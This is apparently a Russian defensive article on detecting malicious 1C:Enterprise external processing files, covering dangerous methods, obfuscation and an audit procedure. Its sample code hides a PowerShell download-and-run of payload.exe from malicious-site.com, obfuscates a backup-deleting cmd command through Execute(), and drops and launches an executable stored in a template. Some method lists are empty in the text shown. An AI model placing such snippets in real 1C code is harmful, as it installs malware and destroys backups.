Как определить зловредную внешнюю обработку в 1С: признаки опасного кода и методы защиты

Программист 1С v8.3 (Управляемые формы) IT и автоматизация бизнеса
← На главную

Использование внешних обработок формата .epf и внешних отчетов .erf в среде «1С:Предприятие» — стандартная практика для расширения функционала систем без изменения типовой конфигурации. Однако скачивание подобных файлов со сторонних, непроверенных или неофициальных ресурсов сопряжено с серьезными рисками ИБ. Вредоносный код, встроенный в обработку, выполняется с правами текущего пользователя (а зачастую и с правами сервера «1С:Предприятие»), что позволяет злоумышленникам получить полный контроль над базой данных и операционной системой.

В этой статье мы подробно разберем, по каким признакам можно определить зловредную обработку, какие техники маскировки используют злоумышленники, как работает встроенная защита платформы и как выстроить безопасный процесс аудита стороннего кода перед его запуском в рабочей среде.

Базовый анализ: группы потенциально опасных методов 1С

Для того чтобы оценить безопасность внешней обработки, в первую очередь необходимо провести статический анализ ее модулей (модуля управляемого приложения, модуля формы, модуля объекта) в Конфигураторе. Нам нужно искать вызовы методов встроенного языка, которые взаимодействуют с внешней средой за рамками самой базы данных. Рассмотрим эти группы подробнее.

1. Взаимодействие с операционной системой и запуск внешних приложений

Эти методы позволяют обработке выполнять любые системные команды, запускать сторонние исполняемые файлы (в том числе вирусы) и скрипты (PowerShell, CMD, VBS):

2. Работа с внешними компонентами и COM-объектами

Через COM-объекты вредоносный код может получить доступ к системным библиотекам Windows Script Host, реестру, службам WMI и скрытно выполнять деструктивные действия:

3. Работа с файловой системой и двоичными данными

Вредоносный софт (например, шифровальщик) должен иметь возможность читать, перезаписывать и удалять файлы на диске:

4. Сетевое взаимодействие и работа с интернетом

Методы отправки данных наружу используются для передачи украденной коммерческой информации (базы контрагентов, пароли, финансовые показатели) на сервера злоумышленников (C&C-сервера):

Скрытые угрозы: техники обхода статического анализа

Злоумышленники прекрасно знают, что администраторы и программисты проверяют код поиском по ключевым словам вроде ЗапуститьПриложение или COMОбъект. Чтобы обойти простейшие проверки, применяются изощренные техники маскировки.

Динамическое выполнение кода

Самый опасный и популярный способ обхода проверок — использование функций Выполнить() и Вычислить(). С их помощью вредоносная команда передается в виде обычной строки, которая собирается на лету или расшифровывается в оперативной памяти непосредственно перед вызовом.

Проанализируем пример маскировки вызова системной команды:


// Пример зловредной маскировки кода
ЗашифрованнаяСтрока = "ЗапуститьПриложение(""powershell.exe -WindowStyle Hidden -Command Invoke-WebRequest -Uri http://malicious-site.com/payload.exe -OutFile payload.exe; Start-Process payload.exe"")";

// В коде это может выглядеть безобидно, строка может собираться из мелких частей:
Часть1 = "Запу";
Часть2 = "ститьПри";
Часть3 = "ложение";
ИмяМетода = Часть1 + Часть2 + Часть3;

// Статический поиск не найдет слово "ЗапуститьПриложение"
Выполнить(ИмяМетода + "(""cmd.exe /c del /f /q C:\Backups\*.*"")");

Если в коде внешней обработки вы видите активное использование методов Выполнить() и Вычислить() с запутанными текстовыми переменными — это критический маркер опасности, требующий детального ручного разбора.

Обфускация (запутывание) кода

Обфусцированный модуль практически невозможно прочитать человеку. Имена переменных заменяются на бессмысленный набор символов (например, о1о1оо11, _l1ll1), строки разбиваются, форматирование удаляется. Зачастую разработчики коммерческих решений обфусцируют код для защиты своей интеллектуальной собственности. Однако для конечного потребителя использование закрытого или обфусцированного кода во внешних обработках — огромный риск ИБ. Под маской защиты авторских прав может скрываться бэкдор.

Использование макетов для хранения бинарных файлов (Payload)

Внешняя обработка может содержать макет с типом «Двоичные данные». В этот макет может быть зашит полноценный исполняемый файл вируса (например, шифровальщик BlackBit или троян). При запуске обработки вредоносный код извлекает эти данные, сохраняет их во временный каталог пользователя и запускает:


// Схема извлечения вредоносного ПО из макета
ДвоичныеДанныеВируса = ПолучитьМакет("ТехническийМакетЛицензии");
ИмяВременногоФайла = ПолучитьИмяВременногоФайла("exe");
ДвоичныеДанныеВируса.Записать(ИмяВременногоФайла);

// Запуск вредоносного файла
ЗапуститьПриложение(ИмяВременногоФайла);

Реальные сценарии атак на инфраструктуру 1С

Рассмотрим подробнее, какой именно ущерб ИТ-инфраструктуре может нанести вредоносная обработка, запущенная невнимательным пользователем:

  1. Подмена платежных реквизитов (атака класса Mezzo): Вредоносный код отслеживает момент выгрузки платежных поручений из 1С в текстовый файл обмена с Клиент-Банком (обычно это файлы kl_to_1c.txt). Обработка «на лету» подменяет расчетные счета получателей на счета мошенников. Если бухгалтер перед отправкой реестра в банке не перепроверит реквизиты вручную, денежные средства уйдут злоумышленникам.
  2. Шифрование базы данных и бэкапов (Ransomware): Запустившись на сервере приложений или на локальной машине с правами администратора, вирус-шифровальщик сканирует диски, находит файлы баз данных .1CD, а также сетевые папки с резервными копиями и шифрует их, требуя выкуп.
  3. Кража конфиденциальной информации (Data Stealing): Обработка собирает данные из справочников «Контрагенты», «Контактные лица», «Физические лица» (включая персональные данные сотрудников, оклады, паспортные данные), формирует zip-архив и незаметно отправляет его злоумышленникам через HTTP-запросы.

Платформенные механизмы защиты и их обход

Начиная с версии платформы 8.3.9, в «1С:Предприятие» встроен механизм «Защита от опасных действий». При попытке внешней обработки выполнить потенциально опасную операцию (запуск приложений, загрузка внешних компонент, обращение к интернет-ресурсам), платформа прерывает выполнение и выводит интерактивное предупреждение пользователю.

Однако полагаться на эту защиту на 100% нельзя по следующим причинам:

Пошаговый алгоритм безопасной проверки внешней обработки

Выясним, как правильно организовать проверку любого скачанного из интернета файла .epf перед тем, как допустить его работу в основной базе данных.

Шаг 1: Сравнение версий файлов

Если вы скачали обработку со стороннего ресурса (поскольку оригинальный сайт был недоступен или требовал платной подписки), обязательно найдите оригинальный файл от автора. Сравните размеры файлов, а лучше — воспользуйтесь встроенным механизмом платформы: Главное меню -> Сравнить файлы.... Это позволит моментально выявить любые изменения, внесенные сторонними лицами в модули или макеты оригинальной обработки.

Шаг 2: Статический анализ кода

Откройте обработку в Конфигураторе. Выполните глобальный поиск (сочетание клавиш Ctrl + Shift + F) по подозрительным ключевым словам:

Проанализируйте каждый найденный фрагмент кода. Если назначение вызова функции непонятно или код искусственно запутан — использовать обработку нельзя.

Шаг 3: Автоматизированный анализ (SonarQube / SilverLint)

Для крупных компаний ручной аудит сотен обработок невозможен. Внедрите инструменты автоматического анализа кода (например, BSL Language Server совместно с плагином для SonarQube или консольную утилиту SilverLint). Эти системы автоматически сканируют код на наличие уязвимостей, подсвечивают небезопасные вызовы Выполнить() на сервере и помогают выявить потенциально деструктивный функционал.

Шаг 4: Тестирование в изолированной среде (Песочнице)

Никогда не тестируйте новые обработки в рабочей базе данных! Сделайте резервную копию базы и разверните ее в изолированном контуре (на тестовом сервере или локальной виртуальной машине).

Только пройдя все этапы проверки — от контроля целостности файла до тестирования в изолированной «песочнице» — можно гарантировать безопасность ИТ-инфраструктуры организации при использовании внешних инструментов автоматизации 1С.

← На главную